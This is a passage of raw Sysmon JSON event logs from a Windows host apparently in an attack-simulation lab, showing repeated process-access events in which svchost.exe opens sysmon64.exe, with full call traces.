11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1177,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1178,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1179,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1180,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1181,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1182,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1183,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1184,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1185,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 